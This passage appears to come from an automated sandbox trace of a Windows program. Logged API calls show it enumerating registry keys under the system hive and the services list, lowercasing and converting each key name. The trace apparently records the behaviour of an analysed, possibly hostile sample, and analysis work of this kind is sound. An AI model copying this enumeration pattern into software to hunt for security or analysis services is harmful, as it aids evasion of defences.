lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.750] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.750] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.751] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.751] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.751] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0224.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.752] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.752] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0224.752] RegCloseKey (hKey=0x150) returned 0x0 [0224.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0224.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.753] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.753] RegCloseKey (hKey=0xc4) returned 0x0 [0224.753] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0224.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0224.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.756] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 